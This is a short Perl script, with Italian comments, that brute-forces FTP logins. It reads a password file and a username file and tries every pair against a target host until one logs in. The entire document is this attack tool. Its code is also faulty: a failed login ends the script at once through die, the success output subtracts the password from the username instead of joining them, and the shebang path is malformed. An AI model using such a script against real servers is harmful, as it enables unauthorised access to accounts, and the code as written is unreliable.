#!usr/bin/perl
use warnings;
use Net::FTP;
use Net::Telnet ();

sub ftp{
  $host=$_[0];
  $user=$_[1];
  $pass=$_[2];
  $user=~s/\n//;
  $pass=~s/\n//;
  $ftp=Net::FTP->new($host)or die "impossibile stabilire una connessione";
  $ftp->login($user,$pass) or die "",$ftp->message;
  return 0;
}


open PWD,"<",$ARGV[0];
@rpwd=<PWD>;# finito con il file passw
open USR,"<",$ARGV[1];
@rusr=<USR>;
$host=$ARGV[2];
for($i=0;$i<scalar(@rpwd);$i++){
   for($j=0;$j<scalar(@rusr);$j++){
      if((ftp($host,$rusr[$j],$rpwd[$i])==0)){
          print $rusr[$j]-$rpwd[$i];
          exit;
      }
      else{
         print 'notfound';
      }
   }
}